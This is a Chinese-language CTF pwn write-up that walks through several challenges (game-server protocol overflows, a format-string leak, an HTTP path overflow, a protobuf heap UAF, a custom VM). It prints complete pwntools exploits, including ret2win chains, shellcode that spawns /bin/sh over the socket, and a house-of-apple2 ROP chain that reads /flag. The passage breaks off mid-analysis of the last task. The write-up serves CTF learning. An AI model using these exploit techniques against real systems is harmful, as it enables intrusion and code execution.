PWN

ZombieSurvival Server

题目描述:某款 Unity 联机游戏的服务端出现了奇怪的崩溃。运维发现只要发送一个超长的存档数据包,服务就会异常退出。
注:服务端使用 IL2CPP 后端编译,存档格式直接沿用了 Il2CppString 的二进制内存布局。

本题涉及网络协议嵌套IL2CPP协议

第一层网络协议逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
size_t handle_client()
{
int v1; // [rsp+8h] [rbp-58h] BYREF
unsigned __int16 v2; // [rsp+Ch] [rbp-54h]
unsigned __int16 v3; // [rsp+Eh] [rbp-52h]
unsigned int s[16]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int16 payload_length; // [rsp+50h] [rbp-10h]
unsigned __int16 msg_type; // [rsp+52h] [rbp-Eh]
int magic; // [rsp+54h] [rbp-Ch]
void *msg_buf; // [rsp+58h] [rbp-8h]

memset(s, 0, 0x34u);
s[0] = 1;
xwrite(
1,
(__int64)"=========================================\n"
" ZombieSurvival Server\n"
" Mirror Networking v67.0.0\n"
" Backend : IL2CPP\n"
" Runtime : Unity 2022.3.1f1\n"
" Assembly: Assembly-CSharp.dll\n"
"=========================================\n",
0xD8u);
msg_buf = nullptr;
while ( (int)xread(0, (__int64)&v1, 8u) >= 0 )
{
magic = v1;
msg_type = v2;
payload_length = v3;
if ( v1 != 0x5252494D )
{
fprintf(stderr, "[Mirror] bad magic: 0x%08x\n", magic);
break;
}
if ( payload_length > 0x1000u )
{
fprintf(stderr, "[Mirror] payload too large: %u\n", payload_length);
break;
}
msg_buf = nullptr;
if ( payload_length )
{
msg_buf = malloc(payload_length + 1);
if ( !msg_buf )
break;
if ( (int)xread(0, (__int64)msg_buf, payload_length) < 0 )
{
free(msg_buf);
break;
}
*((_BYTE *)msg_buf + payload_length) = 0;
}
if ( msg_type == 255 )
{
fwrite("[Mirror] client quit\n", 1u, 0x15u, stderr);
free(msg_buf);
break;
}
if ( msg_type <= 0xFFu )
{
if ( msg_type == 254 )
{
send_msg(1, 254, (__int64)"pong", 4u);
goto LABEL_27;
}
if ( msg_type <= 0xFEu )
{
if ( msg_type == 3 )
{
handle_get_stats((__int64)s);
goto LABEL_27;
}
if ( msg_type <= 3u )
{
if ( msg_type == 1 )
{
handle_handshake(s, (unsigned __int8 *)msg_buf, payload_length);
goto LABEL_27;
}
if ( msg_type == 2 )
{
handle_load_savedata(s, (__int64)msg_buf, payload_length);
goto LABEL_27;
}
}
}
}
fprintf(stderr, "[Mirror] unknown msg 0x%04x\n", msg_type);
LABEL_27:
free(msg_buf);
msg_buf = nullptr;
}
free(msg_buf);
return fwrite("[Mirror] connection closed\n", 1u, 0x1Bu, stderr);
}

可知网络协议为:32位魔法字符(0x5252494D)+ 16位类型数 + 16位数据长度 + 数据

第二层IL2CPPString协议:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssize_t __fastcall handle_load_savedata(unsigned int *a1, __int64 a2, unsigned __int16 a3)
{
char v4[140]; // [rsp+20h] [rbp-90h] BYREF
int v5; // [rsp+ACh] [rbp-4h]

if ( !a1[12] )
return send_msg(*a1, 2, (__int64)"ERROR: not authenticated\n", 0x19u);
if ( a3 <= 0x17u )
return send_msg(*a1, 2, (__int64)"ERROR: savedata too short\n", 0x1Au);
v5 = *(_DWORD *)(a2 + 20);
if ( v5 < 0 )
return send_msg(*a1, 2, (__int64)"ERROR: negative length\n", 0x17u);
Il2CppString_Deserialize((__int64)v4, a2, a3, v5);
fprintf(stderr, "[IL2CPP] String.Deserialize: length=%d content=\"%s\"\n", v5, v4);
++a1[10];
return send_msg(*a1, 2, (__int64)"OK: save loaded\n", 0x10u);
}

可知IL2CPPString协议为:20字节padding + 32位数据长度 + 数据

同时逆向Il2CppString_Deserialize函数:

1
2
3
4
5
6
7
8
9
10
11
_BYTE *__fastcall Il2CppString_Deserialize(__int64 a1, __int64 a2, unsigned __int16 a3, int a4)
{
_BYTE *result; // rax
int i; // [rsp+24h] [rbp-4h]

for ( i = 0; i < a4 && a3 >= (unsigned int)(2 * (i + 13)); ++i )
*(_BYTE *)(i + a1) = *(_WORD *)(2LL * i + a2 + 24);
result = (_BYTE *)(i + a1);
*result = 0;
return result;
}

可知读入数据的方式为每输入两字节读入一字节

解决了协议问题,本题的核心部分就已经结束,剩下的就是先用type=1的数据包进行握手,然后用type=2的数据包进行利用handle_load_savedata函数的栈溢出漏洞直接ret2win

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from pwn import *

filename = "assembly_csharp"
host = "127.0.0.1"
port = 40899
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
context.terminal = ["foot", "-e"]
gs = '''
b main
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs,env={"SHELL":"/bin/sh"})

p = start()

MAGIC = 0x5252494D
get_flag = 0x40133b
ret = 0x40101a

def pkt(t, data=b''):
return p32(MAGIC) + p16(t) + p16(len(data)) + data


p.send(pkt(1, b'\x06player'))

chain = b'A' * 152
chain += p64(ret)
chain += p64(get_flag)

utf16 = b''.join(bytes([c, 0]) for c in chain) + b'\x00\x00'
body = b'\x00' * 20 + p32(len(chain)) + utf16

p.send(pkt(2, body))
p.recvuntil(b'OK: save loaded\n')
p.interactive()

ZombieSurvival Server Hard

题目描述:安全团队对 ZombieSurvival 游戏服务端进行渗透测试。服务端基于 Mirror Networking v67,使用 Unity IL2CPP 后端编译,启用了全套内存保护。测试人员注意到握手阶段的响应有些奇怪……存档上传接口的解析逻辑也值得究。

该题的网络协议与IL2CPPString与ZombieSurvival Server相同,唯一的区别在于开启了canary和pie,处理方法为利用handle_get_stats函数中的格式化字符串漏洞泄露canary和text段基址,需注意远程的栈与本地的栈有不同需要微调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall handle_get_stats(const char *a1)
{
unsigned __int16 v2; // [rsp+1Ch] [rbp-94h]
char s[136]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int64 v4; // [rsp+A8h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( *((_DWORD *)a1 + 12) )
{
v2 = snprintf(
s,
0x80u,
"handle=%s pid=0x%08x kills=%u deaths=%u\n",
a1 + 4,
*((_DWORD *)a1 + 9),
*((_DWORD *)a1 + 10),
*((_DWORD *)a1 + 11));
send_msg(*(unsigned int *)a1, 3, s, v2);
}
else
{
send_msg(*(unsigned int *)a1, 3, "ERROR: not authenticated\n", 25);
}
return v4 - __readfsqword(0x28u);
}

然后再ret2win即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
from pwn import *

filename = "assembly_csharp"
host = "127.0.0.1"
port = 42197
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
context.terminal = ["foot", "-e"]
gs = '''
b main
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs,env={"SHELL":"/bin/sh"})

p = start()

MAGIC = 0x5252494D

def pkt(t, data=b''):
return p32(MAGIC) + p16(t) + p16(len(data)) + data

def recv_msg(io):
hdr = io.recvn(8)
return io.recvn(u16(hdr[6:8]))

p.recvuntil(b'=========================================\n')
p.recvuntil(b'=========================================\n')

name = b'%43$p'
p.send(pkt(1, bytes([len(name)]) + name))
canary = int(recv_msg(p).strip(), 16)
log.success(f"canary : {hex(canary)}")

if args.R:
name = b'%32$p'
p.send(pkt(1, bytes([len(name)]) + name))
pie_base = int(recv_msg(p).strip(), 16) - 0x1b78
else:
name = b'%21$p'
p.send(pkt(1, bytes([len(name)]) + name))
pie_base = int(recv_msg(p).strip(), 16) - 0x3d50
log.success(f"pie_base : {hex(pie_base)}")

get_flag = pie_base + 0x1381
ret_addr = pie_base + 0x101a

rop = p64(canary) + p64(0) + p64(ret_addr) + p64(get_flag)
payload = b'\x00' * 20 + p32(136 + len(rop))
payload += b'A\x00' * 136
payload += b''.join(bytes([c, 0]) for c in rop)

p.send(pkt(2, payload))
p.recvuntil(b'OK: save loaded\n')
p.interactive()

无能的PWN手

题目描述:你是伊地知虹夏,名义上是乐队的队长,但实际上却是乐队里最菜的那个。看着乐队里那三个天赋怪,一种自卑感油然而生。为了不拖累你的乐队伙伴,你决定偷偷加练。
但那个晚上,你无论如何也练不出想要的效果,你抬头望向鼓谱,看到那个190BPM十六分音符的重音移位,内心的怒气慢慢升腾。你红温了,拿起鼓棒重重砸向面前的军鼓。鼓棒反弹起来。你的手被震得生疼,但你却从鼓棒小小的反弹中得到了灵感。你终于成功练出效果了!你很兴奋,想着明天在Starry的演出上一定要大展拳脚,让结束乐队名扬下北泽。
事与愿违。在演出那天,你望着台下稀疏的观众手心直冒汗。你的信心被抽干了。你那pwnpwn的鼓点开始发乱……当你不知所措的时候,吉他英雄出现了。吉他英雄劲爆的solo留住了观众,也留住了你的信心。你开始发力,和乐队的伙伴们完美地完成了这次演出。
演出结束后,你和吉他英雄互诉衷肠。你们聊了很多。关于乐队、关于未来、关于梦想。最后的最后,你再次向吉他英雄表示感谢。吉他英雄没多说什么,她只是微微抬头,向你轻轻说了一句:
“啊啊,没关系的,”
“毕竟,我们是一个乐队的伙伴嘛。”

该题表面上无附件,开启容器后尝试nc按enter发现回显:

说明应该发送http数据包,因此尝试curl:

获得回显,提示加上?filepath=xxx,因此猜测要通过这个方法来获得二进制文件信息,故尝试curl http://127.0.0.1:35239/?filepath=pwn

可知,直接返回了二进制文件的内容,可用--output <FILE>参数接收到文件中,故用curl --output pwn http://127.0.0.1:35239/?filepath=pwn命令将二进制文件内容保存到pwn文件中,随后可用ida进行分析

主要逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
int __fastcall handle_client(unsigned int a1)
{
ssize_t v1; // rax
size_t v2; // rax
_BYTE buf[48]; // [rsp+10h] [rbp-3030h] BYREF
char v5[48]; // [rsp+1010h] [rbp-2030h] BYREF
char v6[2048]; // [rsp+1810h] [rbp-1830h] BYREF
char s1[16]; // [rsp+2010h] [rbp-1030h] BYREF
_BYTE s[32]; // [rsp+2020h] [rbp-1020h] BYREF
char *v9; // [rsp+3020h] [rbp-20h]
__int64 v10; // [rsp+3028h] [rbp-18h]
char *v11; // [rsp+3030h] [rbp-10h]
size_t n; // [rsp+3038h] [rbp-8h]

memset(s, 0, 0x1000u);
v1 = recv(a1, s, 0xFFFu, 0);
n = v1;
if ( v1 && n != -1 )
{
if ( (int)parse_request_line(s, s1, 16, v6, 2048) >= 0 )
{
if ( strcmp(s1, "GET") )
goto LABEL_12;
v11 = strchr(v6, 63);
if ( !v11 )
{
LODWORD(v1) = send_simple_response(a1, "200 OK", "GET ?filepath=xxx\n");
return v1;
}
*v11++ = 0;
if ( strcmp(v6, "/") || strncmp(v11, "filepath=", 9u) || strchr(v11 + 9, 38) )
{
LABEL_12:
LODWORD(v1) = send_simple_response(a1, "403 Forbidden", "forbidden\n");
return v1;
}
v10 = url_decode(v11 + 9, v5, 2048);
if ( (unsigned int)contains_flag_bytes(v5, v10) || (unsigned int)contains_path_traversal(v5, v10) )
{
LODWORD(v1) = send_simple_response(a1, "403 Forbidden", "forbidden\n");
}
else
{
fp = (FILE *)build_path_from_decoded(v5, v10);
if ( fp )
{
v9 = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nConnection: close\r\n\r\n";
v2 = strlen("HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nConnection: close\r\n\r\n");
send(a1, v9, v2, 0);
while ( 1 )
{
n = fread(buf, 1u, 0x1000u, fp);
if ( !n )
break;
send(a1, buf, n, 0);
}
LODWORD(v1) = fclose(fp);
}
else
{
LODWORD(v1) = send_simple_response(a1, "404 Not Found", "not found\n");
}
}
}
else
{
LODWORD(v1) = send_simple_response(a1, "400 Bad Request", "bad request\n");
}
}
return v1;
}

HTTP 服务器对 filepath 参数做了 URL 解码后传入build_path_from_decoded

1
2
3
4
5
6
7
8
9
FILE *__fastcall build_path_from_decoded(const void *a1, size_t a2)
{
char s[256]; // [rsp+10h] [rbp-100h] BYREF

memset(s, 0, sizeof(s));
memcpy(s, a1, a2);
fp = fopen(s, "rb");
return fp;
}

该函数将解码结果 memcpy 进 256 字节栈缓冲区但未做长度限制,造成栈溢出。由于无任何保护机制,直接覆盖返回地址实现 stack pivot,注入的 shellcode 获取 shell,但是由于这是一个远程题,通过 execve(“/bin/sh”) 获取的shell继承了进程的fd,就导致无法与我们连入的socket交互,因此我们要用dup2将当前的fd覆盖为socket的fd,这样就可以在本地终端与服务器上的shell交互

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *

HOST = '127.0.0.1'
PORT = 35239
GADGET = 0x40166f

shellcode = asm('''
mov edi, 4; mov esi, 2; mov eax, 33; syscall
mov edi, 4; mov esi, 1; mov eax, 33; syscall
mov edi, 4; xor esi, esi; mov eax, 33; syscall
lea rdi, [rip+binsh]; xor esi, esi; xor edx, edx; mov eax, 59; syscall
binsh: .string "/bin/sh"
''', arch='amd64')

payload = b'A'*0x100 + b'B'*8 + p64(GADGET) + b'\x90'*0x10 + shellcode
encoded = b''.join(('%%%02X'%b).encode() for b in payload)
request = b'GET /?filepath=' + encoded + b' HTTP/1.1\r\nHost: x\r\n\r\n'

io = remote(HOST, PORT)
io.send(request)
io.interactive()

ezProtobuf

根据题目名提示,本题涉及protobuf协议,因此需要还原出二进制文件中的proto结构,可以借助pbtk工具来分析

运行命令pbtk-from-binary chall chall.proto即可获得该题目中的proto结构:

然后使用protoc --python_out=. chall.proto生成chall_pb2.py,就可以调用其中的函数来把要发送的数据自动打包成符合protobuf协议结构的编码

chall_pb2.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# NO CHECKED-IN PROTOBUF GENCODE
# source: chall.proto
# Protobuf Python Version: 7.34.1
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import runtime_version as _runtime_version
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
_runtime_version.ValidateProtobufRuntimeVersion(
_runtime_version.Domain.PUBLIC,
7,
34,
1,
'',
'chall.proto'
)
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0b\x63hall.proto\x12\x05\x63hall\"I\n\x07Request\x12\x15\n\x02op\x18\x01 \x01(\x0e\x32\t.chall.Op\x12\x0b\n\x03idx\x18\x02 \x01(\r\x12\x0c\n\x04size\x18\x03 \x01(\r\x12\x0c\n\x04\x64\x61ta\x18\x04 \x01(\x0c\"1\n\x08Response\x12\n\n\x02ok\x18\x01 \x01(\x08\x12\x0b\n\x03msg\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*S\n\x02Op\x12\x0e\n\nOP_INVALID\x10\x00\x12\n\n\x06OP_ADD\x10\x01\x12\n\n\x06OP_DEL\x10\x02\x12\x0b\n\x07OP_EDIT\x10\x03\x12\x0b\n\x07OP_SHOW\x10\x04\x12\x0b\n\x07OP_QUIT\x10\x05\x62\x06proto3')

_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'chall_pb2', _globals)
if not _descriptor._USE_C_DESCRIPTORS:
DESCRIPTOR._loaded_options = None
_globals['_OP']._serialized_start=148
_globals['_OP']._serialized_end=231
_globals['_REQUEST']._serialized_start=22
_globals['_REQUEST']._serialized_end=95
_globals['_RESPONSE']._serialized_start=97
_globals['_RESPONSE']._serialized_end=146
# @@protoc_insertion_point(module_scope)

再看ida,分析主要函数,可发现漏洞为del_chunk函数中释放chunk后没有置空指针,即存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __cdecl del_chunk(const chall::Request *req)
{
uint32_t i; // [rsp+1Ch] [rbp-44h]
_BYTE v2[40]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-18h]

v3 = __readfsqword(0x28u);
chall::Response::Response((chall::Response *const)v2);
i = chall::Request::idx(req);
if ( i <= 0xF && a[i] )
{
free(a[i]);
chall::Response::set_ok((chall::Response *const)v2, 1);
chall::Response::set_msg((chall::Response *const)v2, "del ok");
}
else
{
chall::Response::set_ok((chall::Response *const)v2, 0);
chall::Response::set_msg((chall::Response *const)v2, "bad idx");
}
send_resp((chall::Response *)v2);
chall::Response::~Response((chall::Response *const)v2);
}

利用该漏洞,可以用show_chunk函数show bin中的chunk来获取堆基址以及libc基址,随后通过tcache poison实现任意地址写来打house of apple2

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/env python3
from pwn import *
import sys
sys.path.insert(0, '/home/one/CTF/pwn/2026WHUCTF校赛/ezProtobuf')
import chall_pb2

filename = "./chall"
libcname = "./libc.so.6"
host = "127.0.0.1"
port = 43061
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
context.terminal = ["foot", "-e"]
if libcname:
libc = ELF(libcname)
gs = '''
b main

'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs,env={"SHELL":"/bin/sh"})

p = start()

def send_req(**kwargs):
req = chall_pb2.Request(**kwargs)
p.send(req.SerializeToString())

def recv_resp():
raw = p.recv(8192, timeout=10000)
resp = chall_pb2.Response()
try:
resp.ParseFromString(raw)
except Exception:
pass
return resp, raw

def add(idx, size, data=b''):
send_req(op=chall_pb2.OP_ADD, idx=idx, size=size, data=data)
resp, raw = recv_resp()
log.success(f"add {idx}")
return resp, raw

def delete(idx):
send_req(op=chall_pb2.OP_DEL, idx=idx)
resp, raw = recv_resp()
log.success(f"delete {idx}")

return resp, raw

def edit(idx, data):
send_req(op=chall_pb2.OP_EDIT, idx=idx, data=data)
resp, raw = recv_resp()
log.success(f"edit {idx}")
return resp, raw

def show(idx):
send_req(op=chall_pb2.OP_SHOW, idx=idx)
resp, raw = recv_resp()
return resp, raw

context.arch = 'amd64'

libc_unsorted_off = 0x1f32e0
libc_pop_rdi = 0x2a3e5
libc_pop_rsi = 0x2be51
libc_pop_rdx_rbx = 0x904a9
libc_open = 0x114560
libc_read = 0x114850
libc_write = 0x1148f0
libc_IO_list_all = 0x21b680
libc_IO_wfile_jmps = 0x2170c0
libc_setcontext = 0x539e0
libc_ret = 0x99e

add(0, 0x90, b'A'*8)
add(1, 0x90, b'B'*8)
delete(0)
r,_ = show(0)
heap_base = (u64(r.data[:8]) << 12) + 0xb8000 - 0xcc000
log.success(f"heap_base: {hex(heap_base)}")

add(2, 0x400, b'C'*8)
add(3, 0x410, b'D'*8)
add(4, 0x90, b'E'*8)
delete(3)
r,_ = show(3)
libc_base = u64(r.data[:8]) + 0x7f8cca400000 - 0x7f8cca61b2f0
log.success(f"libc_base: {hex(libc_base)}")
delete(4)

pop_rdi = libc_base + libc_pop_rdi
pop_rsi = libc_base + libc_pop_rsi
pop_rdx_rbx = libc_base + libc_pop_rdx_rbx
libc_open_ = libc_base + libc_open
libc_read_ = libc_base + libc_read
libc_write_ = libc_base + libc_write
IO_list_all = libc_base + libc_IO_list_all
IO_wfile_jmps = libc_base + libc_IO_wfile_jmps
setcontext61 = libc_base + libc_setcontext + 61
ret_gadget = libc_base + libc_ret

p64w = lambda buf, off, val: buf.__setitem__(slice(off, off+8), p64(val))

log.success(f"_IO_list_all : {hex(IO_list_all)}")

add(14, 0x400, b'X'*8)
delete(14)
r,_ = show(14)

chunk14_data = heap_base + 0x55577bd03ab0 - 0x55577bce3000
log.success(f"chunk14_data: {hex(chunk14_data)}")


fake_file = chunk14_data
fake_wide = chunk14_data + 0x100
fake_vtable = chunk14_data + 0x300
rop_addr = chunk14_data + 0x200
flag_addr = chunk14_data + 0x380
buf_addr = chunk14_data + 0x390

buf = bytearray(0x400)

rop = flat(
flag_addr, pop_rsi, 0, libc_open_,
pop_rdi, 3, pop_rsi, buf_addr, pop_rdx_rbx, 0x40, 0, libc_read_,
pop_rdi, 1, pop_rsi, buf_addr, pop_rdx_rbx, 0x40, 0, libc_write_,
)
buf[0x200:0x200+len(rop)] = rop

buf[0x380:0x385] = b'/flag'

p64w(buf, 0x100 + 0x20, 1)
p64w(buf, 0x100 + 0xa0, rop_addr)
p64w(buf, 0x100 + 0xa8, pop_rdi)
p64w(buf, 0x100 + 0xe0, fake_vtable)

p64w(buf, 0x300 + 0x68, setcontext61)

p64w(buf, 0x28, 1)
p64w(buf, 0x88, fake_file + 0x390)
p64w(buf, 0xa0, fake_wide)
p64w(buf, 0xc0, 1)
p64w(buf, 0xd8, IO_wfile_jmps)

edit(14, bytes(buf))

add(8, 0x400, b'W'*8)
delete(8)
new_fd = ((chunk14_data + 0x10) >> 12) ^ IO_list_all
tc = bytearray(8)
p64w(tc, 0, new_fd)
edit(8, bytes(tc))

add(11, 0x400)
add(12, 0x400, p64(fake_file))

log.success(f"_IO_list_all -> {hex(fake_file)}")
send_req(op=chall_pb2.OP_QUIT)
p.interactive()

vmpp

一道 C++ 实现的自定义虚拟机题目。VM 支持栈操作、数据存储、寄存器运算和 syscall

首先看主要逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
VM *v3; // rax
__int64 v4; // rax
VM *v5; // rax
__int64 v6; // rax
VM *v7; // rax
std::unique_ptr<VM> vm; // [rsp+0h] [rbp-20h] BYREF

vm._M_t._M_t._M_head_impl = (VM *)__readfsqword(0x28u);
init();
std::make_unique<VM>();
v3 = std::unique_ptr<VM>::operator->(&vm);
VM::updateFunc(v3);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "input your code: ");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::unique_ptr<VM>::operator->(&vm);
VM::inputCode(v5);
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "ok let's try it.");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v7 = std::unique_ptr<VM>::operator->(&vm);
VM::executeCode(v7);
std::unique_ptr<VM>::~unique_ptr(&vm);
return 0;
}

第一个重点在于VM::updateFunc函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __cdecl VM::updateFunc(VM *const this)
{
$6C2C4529DB9614CF8E47CC452C9D8C37 __f; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !VM::func_updated )
{
__f.__this = this;
std::function<void ()(void)>::operator=<VM::updateFunc(void)::{lambda(void)#1}>(&this->stack_func, &__f);
__f.__this = this;
std::function<void ()(void)>::operator=<VM::updateFunc(void)::{lambda(void)#2}>(&this->data_func, &__f);
__f.__this = this;
std::function<void ()(void)>::operator=<VM::updateFunc(void)::{lambda(void)#3}>(&this->regs_func, &__f);
__f.__this = this;
std::function<void ()(void)>::operator=<VM::updateFunc(void)::{lambda(void)#4}>(&this->syscall_func, &__f);
__f.__this = this;
std::function<void ()(void)>::operator=<VM::updateFunc(void)::{lambda(void)#5}>(&this->exit_func, &__f);
VM::func_updated = 1;
}
}

该函数会且仅会进行一次函数替换,将五个执行函数替换为新版的更安全的执行函数

用ida看 VM 对象的具体结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
00000000 struct __cppobj __attribute__((aligned(4))) VM // sizeof=0x1160
00000000 {
00000000 std::vector<unsigned char> vm_code;
00000018 size_t ip;
00000020 std::vector<long unsigned int> vm_regs;
00000038 std::vector<long unsigned int> vm_data2;
00000050 std::stack<long unsigned int> vm_stack2;
000000A0 int exit_code;
000000A4 char exit_code_buffer[16];
000000B4 // padding byte
000000B5 // padding byte
000000B6 // padding byte
000000B7 // padding byte
000000B8 std::function<void()> stack_func;
000000D8 std::function<void()> data_func;
000000F8 std::function<void()> regs_func;
00000118 std::function<void()> syscall_func;
00000138 std::function<void()> exit_func;
00000158 size_t vm_data[256];
00000958 size_t vm_stack[256];
00001158 int sp;
0000115C bool leave_flag;
0000115D // padding byte
0000115E // padding byte
0000115F // padding byte
00001160 };

查看真实内存中堆上的 VM 结构:
执行VM::updateFunc前:

执行VM::updateFunc后:

可发现std::function均由VM::resetFunc的函数替换为VM::updateFunc的函数

新版执行函数的主要差别在于:

  1. vm_syscall2函数不可执行
  2. vm_data_op2函数没有负索引越界
    但是好消息是vm_exit2函数仍存在std::cin在向定长缓冲区输入时溢出的洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl VM::vm_exit2(VM *const this)
{
__int64 v1; // rax
std::allocator<char> __a; // [rsp+1Fh] [rbp-51h] BYREF
std::allocator<char> *p_a; // [rsp+28h] [rbp-48h]
std::string __str; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-18h]

v5 = __readfsqword(0x28u);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "set your exit code");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::operator>><char,std::char_traits<char>>((std::istream *)&std::cin, this->exit_code_buffer);
p_a = &__a;
std::string::basic_string<std::allocator<char>>(&__str, this->exit_code_buffer, &__a);
this->exit_code = std::stoi(&__str, nullptr, 10);
std::string::~string(&__str);
std::__new_allocator<char>::~__new_allocator((std::__new_allocator<char> *const)&__a);
this->leave_flag = 1;
}

exit_code_buffer 是 VM 对象的一个字段,std::istream >> 读取字符串不限长度。通过发送足够长的数据可以覆盖 VM 对象上的内容,同时由于在解析opcode的时候是通过调用 VM 对象中的std::function中记录的函数地址来执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __cdecl VM::vm_operator(VM *const this)
{
__int64 v1; // rax
uint8_t op; // [rsp+1Fh] [rbp-1h]

while ( 1 )
{
op = VM::getCode(this);
if ( !op )
break;
switch ( op )
{
case 1u:
std::function<void ()(void)>::operator()(&this->stack_func);
break;
case 2u:
std::function<void ()(void)>::operator()(&this->data_func);
break;
case 3u:
std::function<void ()(void)>::operator()(&this->regs_func);
break;
case 4u:
std::function<void ()(void)>::operator()(&this->syscall_func);
break;
case 5u:
std::function<void ()(void)>::operator()(&this->exit_func);
break;
default:
break;
}
if ( this->leave_flag )
{
if ( this->exit_code == -1 )
exit(this->exit_code);
std::function<void ()(void)>::operator()(&this->exit_func);
}
}
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "bye");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
exit(this->exit_code);
}

因此通过覆盖std::function字段即可控制执行流

那么先发送单字节0x05,触发vm_exit2然后输入0xac字节padding(注意需要输入满足stoi要求的字符) + main函数地址即可在执行exit_func时跳回main而此时不再updateFunc,因此我们就能调用旧版函数

此时看到可执行的vm_syscall函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __cdecl VM::vm_syscall(VM *const this)
{
__gnu_cxx::__alloc_traits<std::allocator<long unsigned int>,long unsigned int>::value_type v1; // r13
__gnu_cxx::__alloc_traits<std::allocator<long unsigned int>,long unsigned int>::value_type v2; // r12
__gnu_cxx::__alloc_traits<std::allocator<long unsigned int>,long unsigned int>::value_type v3; // rbx
size_t *v4; // rax
__int64 v5; // rax

if ( VM::syscall_access )
{
v1 = *std::vector<unsigned long>::operator[](&this->vm_regs, 3u);
v2 = *std::vector<unsigned long>::operator[](&this->vm_regs, 2u);
v3 = *std::vector<unsigned long>::operator[](&this->vm_regs, 1u);
v4 = std::vector<unsigned long>::operator[](&this->vm_regs, 0);
VM::syscall_helper(*v4, v3, v2, v1);
VM::syscall_access = 0;
}
else
{
